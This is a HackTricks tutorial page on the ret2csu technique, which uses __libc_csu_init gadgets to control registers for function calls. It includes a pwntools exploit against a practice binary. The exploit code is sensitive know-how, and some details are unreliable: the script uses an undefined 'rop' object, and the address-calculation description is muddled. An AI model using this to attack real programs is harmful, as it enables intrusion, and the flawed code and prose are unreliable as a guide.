# Ret2csu {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information **ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. ### The Magic Gadgets in \_\_libc\_csu\_init In `__libc_csu_init`, there are two sequences of instructions (our "magic gadgets") that stand out: 1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. ```armasm pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; ``` This gadget allows us to control these registers by popping values off the stack into them. 2. The second sequence uses the values we set up to do a couple of things: * **Move specific values into other registers**, making them ready for us to use as parameters in functions. * **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. ``` mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword [r15 + rbx*8]; ``` ## Example Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. Here's where **ret2csu** comes into play: 1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. 2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] RW_LOC = 0x00404028 rop.raw('A' * 40) rop.gets(RW_LOC) rop.raw(POP_CHAIN) rop.raw(0) # r12 rop.raw(0) # r13 rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! rop.raw(RW_LOC) # r15 - holds location of called function! rop.raw(REG_CALL) # all the movs, plus the call p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` {% hint style="warning" %} Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called `win` (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. {% endhint %} ### Why Not Just Use libc Directly? Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}